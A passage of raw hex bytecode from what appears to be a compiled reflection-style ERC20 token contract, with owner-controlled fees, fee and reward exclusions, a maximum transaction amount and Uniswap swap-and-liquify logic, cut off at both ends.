fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b612042565b6001905092915050565b600e5481565b600061108661203a565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90614949565b60405180910390fd5b600061112083612626565b505050505050905061117a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d28160095461268e90919063ffffffff16565b6009819055506111ed83600a5461261090919063ffffffff16565b600a81905550505050565b61120061203a565b73ffffffffffffffffffffffffffffffffffffffff1661121e61198a565b73ffffffffffffffffffffffffffffffffffffffff1614611274576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126b906148c9565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600854831115611316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130d90614889565b60405180910390fd5b8161133757600061132684612626565b50505050505090508091505061134f565b600061134284612626565b5050505050915050809150505b92915050565b61135d61203a565b73ffffffffffffffffffffffffffffffffffffffff1661137b61198a565b73ffffffffffffffffffffffffffffffffffffffff16146113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c8906148c9565b60405180910390fd5b8060108190555050565b7f00000000000000000000000027a047a17d9b9d861f7e05496fcab7b1b6a9525681565b601460019054906101000a900460ff1681565b61141a61203a565b73ffffffffffffffffffffffffffffffffffffffff1661143861198a565b73ffffffffffffffffffffffffffffffffffffffff161461148e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611485906148c9565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290614849565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115ef576115ab600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b70565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117a457600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506117ef565b6117ec600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b70565b90505b919050565b6117fc61203a565b73ffffffffffffffffffffffffffffffffffffffff1661181a61198a565b73ffffffffffffffffffffffffffffffffffffffff1614611870576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611867906148c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6119bb61203a565b73ffffffffffffffffffffffffffffffffffffffff166119d961198a565b73ffffffffffffffffffffffffffffffffffffffff1614611a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a26906148c9565b60405180910390fd5b8060128190555050565b6060600c8054611a4890614c58565b80601f0160208091040260200160405190810160405280929190818152602001828054611a7490614c58565b8015611ac15780601f10611a9657610100808354040283529160200191611ac1565b820191906000526020600020905b815481529060010190602001808311611aa457829003601f168201915b5050505050905090565b6000611b8e611ad861203a565b84611b898560405180606001604052806025815260200161514a6025913960036000611b0261203a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257a9092919063ffffffff16565b612042565b6001905092915050565b6000611bac611ba561203a565b848461220d565b6001905092915050565b611bbe61203a565b73ffffffffffffffffffffffffffffffffffffffff16611bdc61198a565b73ffffffffffffffffffffffffffffffffffffffff1614611c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c29906148c9565b60405180910390fd5b80601460016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611c7b9190614771565b60405180910390a150565b611c8e61203a565b73ffffffffffffffffffffffffffffffffffffffff16611cac61198a565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf9906148c9565b60405180910390fd5b611d2a6064611d1c836008546126a490919063ffffffff16565b6125fa90919063ffffffff16565b60158190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611dc261203a565b73ffffffffffffffffffffffffffffffffffffffff16611de061198a565b73ffffffffffffffffffffffffffffffffffffffff1614611e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2d906148c9565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611e9961203a565b73ffffffffffffffffffffffffffffffffffffffff16611eb761198a565b73ffffffffffffffffffffffffffffffffffffffff1614611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f04906148c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7490614809565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a990614929565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612122576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211990614829565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122009190614969565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561227d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227490614909565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e4906147c9565b60405180910390fd5b60008111612330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612327906148e9565b60405180910390fd5b61233861198a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156123a6575061237661198a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123f1576015548111156123f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e7906148a9565b60405180910390fd5b5b60006123fc30611709565b9050601554811061240d5760155490505b600060165482101590508080156124315750601460009054906101000a900460ff16155b801561248957507f00000000000000000000000027a047a17d9b9d861f7e05496fcab7b1b6a9525673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156124a15750601460019054906101000a900460ff165b156124b55760165491506124b4826126ba565b5b600060019050600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061255c5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561256657600090505b61257286868684612790565b505050505050565b60008383111582906125c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b991906147a7565b60405180910390fd5b5082840390509392505050565b60008060006125dc612aa1565b915091506125f381836125fa90919063ffffffff16565b9250505090565b600081836126089190614adb565b905092915050565b6000818361261e9190614a85565b905092915050565b60008060008060008060008060008060006126408c612dec565b935093509350935060008060006126618f87878761265c6125cf565b612e6b565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b6000818361269c9190614b66565b905092915050565b600081836126b29190614b0c565b905092915050565b6001601460006101000a81548160ff02191690831515021790555060006126eb6002836125fa90919063ffffffff16565b90506000612702828461268e90919063ffffffff16565b9050600047905061271283612f1f565b6000612727824761268e90919063ffffffff16565b905061273383826131dd565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612766939291906149de565b60405180910390a1505050506000601460006101000a81548160ff02191690831515021790555050565b8061279e5761279d6132cd565b5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561285657612851848484613321565b612a8d565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561290e5761290984848461358f565b612a8c565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129b25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c28484846137fd565b612a8b565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a695750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7e57612a798484846139d6565b612a8a565b612a898484846137fd565b5b5b5b5b80612a9b57612a9a613cd9565b5b50505050565b600080600060095490506000600854905060005b600680549050811015612daf57826001600060068481548110612b01577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612c155750816002600060068481548110612bad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612c2c5760095460085494509450505050612de8565b612ce26001600060068481548110612c6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461268e90919063ffffffff16565b9250612d9a6002600060068481548110612d25577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361268e90919063ffffffff16565b91508080612da790614c8a565b915050612ab5565b50612dc76008546009546125fa90919063ffffffff16565b821015612ddf57600954600854935093505050612de8565b81819350935050505b9091565b6000806000806000612dfd86613cf6565b90506000612e0a87613d27565b90506000612e1788613d58565b90506000612e5282612e4485612e36888e61268e90919063ffffffff16565b61268e90919063ffffffff16565b61268e90919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080612e84858a6126a490919063ffffffff16565b90506000612e9b868a6126a490919063ffffffff16565b90506000612eb2878a6126a490919063ffffffff16565b90506000612ec9888a6126a490919063ffffffff16565b90506000612f0482612ef685612ee8888a61268e90919063ffffffff16565b61268e90919063ffffffff16565b61268e90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b6000600267ffffffffffffffff811115612f62577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f905781602001602082028036833780820191505090505b5090503081600081518110612fce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561306e57600080fd5b505afa158015613082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130a69190614249565b816001815181106130e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613145307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612042565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016131a7959493929190614984565b600060405180830381600087803b1580156131c157600080fd5b505af11580156131d5573d6000803e3d6000fd5b505050505050565b613208307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612042565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061325261198a565b426040518863ffffffff1660e01b815260040161327496959493929190614710565b6060604051808303818588803b15801561328d57600080fd5b505af11580156132a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132c691906143c7565b5050505050565b6000600e541480156132e157506000601254145b156132eb5761331f565b600e54600f819055506010546011819055506012546013819055506000600e81905550600060108190555060006012819055505b565b600080600080600080600061333588612626565b965096509650965096509650965061339588600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061342a87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bf86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061350b82613d89565b61351481613f2e565b61351e858461417d565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161357b9190614969565b60405180910390a350505050505050505050565b60008060008060008060006135a388612626565b965096509650965096509650965061360387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369884600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061372d86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061377982613d89565b61378281613f2e565b61378c858461417d565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516137e99190614969565b60405180910390a350505050505050505050565b600080600080600080600061381188612626565b965096509650965096509650965061387187600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061390686600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061395282613d89565b61395b81613f2e565b613965858461417d565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516139c29190614969565b60405180910390a350505050505050505050565b60008060008060008060006139ea88612626565b9650965096509650965096509650613a4a88600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613adf87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b7484600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c0986600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c5582613d89565b613c5e81613f2e565b613c68858461417d565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051613cc59190614969565b60405180910390a350505050505050505050565b600f54600e81905550601154601081905550601354601281905550565b6000613d206064613d12600e54856126a490919063ffffffff16565b6125fa90919063ffffffff16565b9050919050565b6000613d516064613d43601254856126a490919063ffffffff16565b6125fa90919063ffffffff16565b9050919050565b6000613d826064613d74601054856126a490919063ffffffff16565b6125fa90919063ffffffff16565b9050919050565b6000613d936125cf565b90506000613daa82846126a490919063ffffffff16565b9050613dfe81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613f2957613ee583600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000613f386125cf565b90506000613f4f82846126a490919063ffffffff16565b9050613fc58160016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614178576141128360026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b60026000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6141928260095461268e90919063ffffffff16565b6009819055506141ad81600a5461261090919063ffffffff16565b600a819055505050565b6000813590506141c6816150dc565b92915050565b6000815190506141db816150dc565b92915050565b6000813590506141f0816150f3565b92915050565b6000813590506142058161510a565b92915050565b60008151905061421a8161510a565b92915050565b60006020828403121561423257600080fd5b6000614240848285016141b7565b91505092915050565b60006020828403121561425b57600080fd5b6000614269848285016141cc565b91505092915050565b6000806040838503121561428557600080fd5b6000614293858286016141b7565b92505060206142a4858286016141b7565b9150509250929050565b6000806000606084860312156142c357600080fd5b60006142d1868287016141b7565b93505060206142e2868287016141b7565b92505060406142f3868287016141f6565b9150509250925092565b6000806040838503121561431057600080fd5b600061431e858286016141b7565b925050602061432f858286016141f6565b9150509250929050565b60006020828403121561434b57600080fd5b6000614359848285016141e1565b91505092915050565b60006020828403121561437457600080fd5b6000614382848285016141f6565b91505092915050565b6000806040838503121561439e57600080fd5b60006143ac858286016141f6565b92505060206143bd858286016141e1565b9150509250929050565b6000806000606084860312156143dc57600080fd5b60006143ea8682870161420b565b93505060206143fb8682870161420b565b925050604061440c8682870161420b565b9150509250925092565b6000614422838361442e565b60208301905092915050565b61443781614b9a565b82525050565b61444681614b9a565b82525050565b600061445782614a40565b6144618185614a63565b935061446c83614a30565b8060005b8381101561449d5781516144848882614416565b975061448f83614a56565b925050600181019050614470565b5085935050505092915050565b6144b381614bac565b82525050565b6144c281614bef565b82525050565b6144d181614c13565b82525050565b60006144e282614a4b565b6144ec8185614a74565b93506144fc818560208601614c25565b61450581614d60565b840191505092915050565b600061451d602383614a74565b915061452882614d71565b604082019050919050565b6000614540602a83614a74565b915061454b82614dc0565b604082019050919050565b6000614563602683614a74565b915061456e82614e0f565b604082019050919050565b6000614586602283614a74565b915061459182614e5e565b604082019050919050565b60006145a9601b83614a74565b91506145b482614ead565b602082019050919050565b60006145cc601b83614a74565b91506145d782614ed6565b602082019050919050565b60006145ef601f83614a74565b91506145fa82614eff565b602082019050919050565b6000614612602883614a74565b915061461d82614f28565b604082019050919050565b6000614635602083614a74565b915061464082614f77565b602082019050919050565b6000614658602983614a74565b915061466382614fa0565b604082019050919050565b600061467b602583614a74565b915061468682614fef565b604082019050919050565b600061469e602483614a74565b91506146a98261503e565b604082019050919050565b60006146c1602c83614a74565b91506146cc8261508d565b604082019050919050565b6146e081614bd8565b82525050565b6146ef81614be2565b82525050565b600060208201905061470a600083018461443d565b92915050565b600060c082019050614725600083018961443d565b61473260208301886146d7565b61473f60408301876144c8565b61474c60608301866144c8565b614759608083018561443d565b61476660a08301846146d7565b979650505050505050565b600060208201905061478660008301846144aa565b92915050565b60006020820190506147a160008301846144b9565b92915050565b600060208201905081810360008301526147c181846144d7565b905092915050565b600060208201905081810360008301526147e281614510565b9050919050565b6000602082019050818103600083015261480281614533565b9050919050565b6000602082019050818103600083015261482281614556565b9050919050565b6000602082019050818103600083015261484281614579565b9050919050565b600060208201905081810360008301526148628161459c565b9050919050565b60006020820190508181036000830152614882816145bf565b9050919050565b600060208201905081810360008301526148a2816145e2565b9050919050565b600060208201905081810360008301526148c281614605565b9050919050565b600060208201905081810360008301526148e281614628565b9050919050565b600060208201905081810360008301526149028161464b565b9050919050565b600060208201905081810360008301526149228161466e565b9050919050565b6000602082019050818103600083015261494281614691565b9050919050565b60006020820190508181036000830152614962816146b4565b9050919050565b600060208201905061497e60008301846146d7565b92915050565b600060a08201905061499960008301886146d7565b6149a660208301876144c8565b81810360408301526149b8818661444c565b90506149c7606083018561443d565b6149d460808301846146d7565b9695505050505050565b60006060820190506149f360008301866146d7565b614a0060208301856146d7565b614a0d60408301846146d7565b949350505050565b6000602082019050614a2a60008301846146e6565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614a9082614bd8565b9150614a9b83614bd8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614ad057614acf614cd3565b5b828201905092915050565b6000614ae682614bd8565b9150614af183614bd8565b925082614b0157614b00614d02565b5b828204905092915050565b6000614b1782614bd8565b9150614b2283614bd8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614b5b57614b5a614cd3565b5b828202905092915050565b6000614b7182614bd8565b9150614b7c83614bd8565b925082821015614b8f57614b8e614cd3565b5b828203905092915050565b6000614ba582614bb8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614bfa82614c01565b9050919050565b6000614c0c82614bb8565b9050919050565b6000614c1e82614bd8565b9050919050565b60005b83811015614c43578082015181840152602081019050614c28565b83811115614c52576000848401525b50505050565b60006002820490506001821680614c7057607f821691505b60208210811415614c8457614c83614d31565b5b50919050565b6000614c9582614bd8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614cc857614cc7614cd3565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e7420697320616c726561647920696e636c756465640000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6150e581614b9a565b81146150f057600080fd5b50565b6150fc81614bac565b811461510757600080fd5b50565b61511381614bd8565b811